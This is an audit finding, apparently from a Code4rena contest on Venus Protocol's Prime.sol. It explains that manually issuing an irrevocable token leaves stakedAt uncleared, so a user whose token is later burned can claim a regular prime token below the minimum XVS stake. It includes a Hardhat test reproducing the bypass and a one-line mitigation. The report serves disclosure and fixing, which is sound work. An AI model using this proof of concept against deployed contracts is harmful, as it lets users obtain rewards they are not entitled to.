Lucene search

K
code423n4Code4renaCODE423N4:2023-09-VENUS-FINDINGS-ISSUES-592
HistoryOct 04, 2023 - 12:00 a.m.

Prime.sol: stakedAt value is not deleted when manually issuing an irrevocable token

2023-10-0400:00:00
Code4rena
github.com
3
vulnerability
protocol specifications
stakedat
irrevocable token
mint
burn
delete
mitigation
user
claim

7 High

AI Score

Confidence

Low

Lines of code

Vulnerability details

Impact

Protocol specifications state that a user cannot have less than the minimum xvs staked if they are not irrevocable prime token users. In other words, only holders of irrevocables prime tokens can have less than the minimum xvs staked.

The problem arises when a user is manually given a prime token via the function issue because the stakedAt value is not cleared:

else {
    // @audit-issue Does not clean stakedAt
    _mint(true, users[i]);
    _initializeMarkets(users[i]);
}

If the same user gets the irrevocable prime token burned, claim() can still be called to get a normal prime token even if the user does not have the minimum staked, which should not be allowed.

PoC

In the mint and burn section we describe:

it.only("Possible to have less than minimum XVS and not being irrevocable", async () => {
      await xvs.connect(user3).approve(xvsVault.address, bigNumber18.mul(2000));
      await xvsVault.connect(user3).deposit(xvs.address, 0, bigNumber18.mul(2000));

      await mine(90 * 24 * 60 * 60);

      // User 3 is granted an irrevocable token.
      await prime.issue(true, [user3.getAddress()]);

      let token = await prime.tokens(user3.getAddress());
      expect(token.isIrrevocable).to.be.equal(true);
      expect(token.exists).to.be.equal(true);

      // User will now withdraw 1500 XVS, only 500 left which is less than the minimum.
      await xvsVault.connect(user3).requestWithdrawal(xvs.address, 0, bigNumber18.mul(1500));

      // Because user was irrevocable his token was not burned.
      token = await prime.tokens(user3.getAddress());
      expect(token.isIrrevocable).to.be.equal(true);
      expect(token.exists).to.be.equal(true);

      // Admin manually burned user3 prime token
      await prime.burn(user3.getAddress());
      token = await prime.tokens(user3.getAddress());
      expect(token.isIrrevocable).to.be.equal(false);
      expect(token.exists).to.be.equal(false);

      // User 3 can claim because stakedAt was not deleted during manual issue.
      // This means that user 3 has a normal prime token but it has less that the minimum xvs staked.
      await prime.connect(user3).claim();
      token = await prime.tokens(user3.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(false);      
});

Tools Used

Manual Review

Recommended Mitigation Steps

Add delete stakedAt[users[i]] when manual issuing an irrevocable token.

Assessed type

Other


The text was updated successfully, but these errors were encountered:

All reactions

7 High

AI Score

Confidence

Low